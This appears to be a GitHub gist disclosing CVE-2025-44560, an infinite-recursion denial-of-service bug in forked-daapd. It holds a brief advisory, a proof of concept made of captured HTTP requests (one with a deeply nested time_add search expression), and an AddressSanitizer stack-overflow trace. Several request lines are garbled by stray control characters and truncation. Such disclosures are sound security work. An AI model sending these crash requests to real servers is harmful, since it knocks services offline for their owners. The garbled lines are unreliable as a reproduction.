

# Instantly share code, notes, and snippets.

wenwenyuyu / poc.txt



Created 5 days ago

<> Code - Revisions 1

CVE-2025-44560

gistfile1.txt

```

1 [CVE ID]
2 CVE-2025-44560
3 [PRODUCT]
4 forked-daapd
5 [VERSION]
6 2ca10d9
7 [PROBLEM TYPE]
8 Infinite recursion
9 [DESCRIPTION]
10 Construct a time_add function expression containing multiple nested calls within the expres
11 Leverage the server's recursive parsing logic for this parameter to trigger an infinite re
12 [poc]
13 see poc.txt
14 [result]
15 see result.txt

```

poc.txt

```

1  GET /api/config HTTP/1.1
2
3 ? GET /pla/search?type=album&expr /papi/queue/itemsIadd?csear=true&playbnts/materialdesi
4
5  GET /api/spotify HTTP/1.1
6
7 tJ GET /api/search?type=album&expression=time_add((((((((((((((((((((((((((((((((((((((((
8
9 @ GET /api/library/artists?media_kind=music artists/12HTTP/1.1
10
11 9 GET /api/library/artists/6812574504550889270 HTTP/1.1
12
13 8 GET /api/library/albums/7888021095875713269 HTTP/1.1
14
15 < GET /artwork/group/6?maxwidth=600&maxheight=600 HTTP/1.1
16

```

```
17 N POST /api/queue/items/add?uris=library:track:6 HTTP/1.1
18 Content-Length: 0
19
20 [ESC] GET /api/queue HTTP/1.1
21
22 9 GET /api/library/artists/1267017029468087345 HTTP .1
23
24 I GET /api/librar
25 GET /api/library/albums/6721547971723107633 HTTP/1.1
26
27 < GET /artwork/group/1?maxwidth=600&maxheight=600 HTTP/1.1
28
29 : GET /api/queue/items[RS]add?clear=true&er/fofig HTTP/1.1
30
31 @ GET /player/fonts/materialdesignicons-webfont.woff2 HTTP/1.1
32
33 [GS] GET /api/outputs HTTP/1.1
34
35 [GS] GET /api/spotify HTTP/1.1
36
37 ? GET /api/search?type=album&expression=timtype=album&expression=time_added+afterd?uris=
38
39 . GET /api/library/artists?moutputs HTTP/1.1
40
41 [GS] GET /api/spotify HTTP/1.1
42
43 [GS] GET /api/outputs HTTP/1.1
44
45 [GS] GET /api/spotify HTTP/1.1
46
47 ? GET /api/search?type=album&expression=time_added+after+8+weeks+ago+and+media_kind+is+m
48
49 6 GET /api/library/artists?media_kind=music HTTP/1.1
50
51 9 GET /api/library/artists/6812574504550889270 HTTP/1.1
52
53 8 GET /api/library/albums/7888021095875713269 HTTP/1.1
54
55 < GET /artwork/group/6?maxwidth=600&maxheight=600 HTTP/1.1
56
57 N POST /api/queue/items/add?uris=library:track:6 HTTP/1.1
58 Content-Length: 0
59
60 [ESC] GET /api/queue HTTP/1.1
61
62 9 GET /api/library/artists/1267017029468087345 HTTP/1.1
63
64 8 GET /api/library/albums/6721547971723107633 HTTP/1.1
65
```

```

66 < GET /artwork/group/1?maxwidth=600&maxheight=600 HTTP/1.1
67
68 Y POST /api/queue/items/add?uris=library:track:2&position=0 HTTP/1.1
69 Content-Length: 0
70
71 [ESC] GET /api/queue HTTP/1.1
72
73 N POST /api/queue/items/add?uris=library:track:1 HTTP/1.1
74 Content-Length: 0
75
76 _ POST /api/queue/items/add?expression=path+is%22/tmp/MP3/David+Hilowitz%22
77 Content-Length:0
78
79 8 GET /api/library/artists/694971154903243579 HTTP/1.1
80
81 Q GET /api/library/albums/3587305042194852879/tracks?limit=-1&offset=0 HTTP/1.1
82
83 < GET /artwork/group/5?maxwidth=600&maxheight=600 HTTP/1.1
84
85 v POST /api/queue/items/add?uris=library:track:5&shuffle=false&clear=true&playback=start
86 Content-Length: 0
87
88 [FS] GET /api/player HTTP/1.1
89
90 [FS] GET /api/player HTTP/1.1
91
92 < GET /artwork/group/3?maxwidth=600&maxheight=600 HTTP/1.1
93
94 j POST /api/queue/items/add?uris=library:album:310695667224764332&position=1 HTTP/1.1
95 Content-Length: 0
96

```

 result.txt

```

1  ubuntu@21004ab2f250:~/experiments/forked-daapd/src$ ./forked-daapd -d 0 -c ../../forked-da
2  SMARTPL expression(1) : lexer error 1 :
3      Unexpected character at offset 18, near '(' :
4      (((((((((((((((((((((((
5  SMARTPL expression(1) : lexer error 3 :
6      at offset 19005, near 'd' :
7      d desc }
8  AddressSanitizer:DEADLYSIGNAL
9  =====
10 ==115==ERROR: AddressSanitizer: stack-overflow on address 0x7fa752e35e30 (pc 0x00000049d6a
11     #0 0x49d6aa (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x49d6aa)
12     #1 0x7fa76804cde9 (/lib/x86_64-linux-gnu/libantlr3c-3.4.so.0+0xede9)
13     #2 0x7fa76804d08c (/lib/x86_64-linux-gnu/libantlr3c-3.4.so.0+0xf08c)
14     #3 0x69f998 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69f998)
15     #4 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)

```

```
16 #5 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
17 #6 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
18 #7 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
19 #8 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
20 #9 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
21 #10 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
22 #11 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
23 #12 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
24 #13 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
25 #14 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
26 #15 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
27 #16 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
28 #17 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
29 #18 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
30 #19 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
31 #20 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
32 #21 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
33 #22 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
34 #23 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
35 #24 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
36 #25 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
37 #26 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
38 #27 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
39 #28 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
40 #29 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
41 #30 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
42 #31 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
43 #32 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
44 #33 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
45 #34 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
46 #35 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
47 #36 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
48 #37 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
49 #38 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
50 #39 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
51 #40 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
52 #41 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
53 #42 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
54 #43 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
55 #44 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
56 #45 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
57 #46 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
58 #47 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
59 #48 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
60 #49 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
61 #50 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
62 #51 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
63 #52 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
64 #53 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
```

```
65 #54 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
66 #55 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
67 #56 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
68 #57 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
69 #58 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
70 #59 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
71 #60 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
72 #61 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
73 #62 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
74 #63 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
75 #64 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
76 #65 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
77 #66 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
78 #67 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
79 #68 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
80 #69 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
81 #70 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
82 #71 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
83 #72 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
84 #73 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
85 #74 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
86 #75 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
87 #76 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
88 #77 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
89 #78 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
90 #79 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
91 #80 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
92 #81 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
93 #82 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
94 #83 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
95 #84 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
96 #85 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
97 #86 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
98 #87 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
99 #88 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
100 #89 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
101 #90 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
102 #91 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
103 #92 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
104 #93 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
105 #94 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
106 #95 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
107 #96 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
108 #97 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
109 #98 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
110 #99 0x69fa8f (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69fa8f)
111 #100 0x69cff6 (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69cff6)
112 #101 0x69be2e (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69be2e)
113 #102 0x69697a (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x69697a)
```







```
261 SUMMARY: AddressSanitizer: stack-overflow (/home/ubuntu/experiments/forked-daapd/src/forke
262 Thread T6 created by T0 here:
263     #0 0x4884ba (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x4884ba)
264     #1 0x53eb8c (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x53eb8c)
265     #2 0x4ceabb (/home/ubuntu/experiments/forked-daapd/src/forked-daapd+0x4ceabb)
266     #3 0x7fa767705082 (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
267
268 ==115==ABORTING
269 Aborted (core dumped)
270
```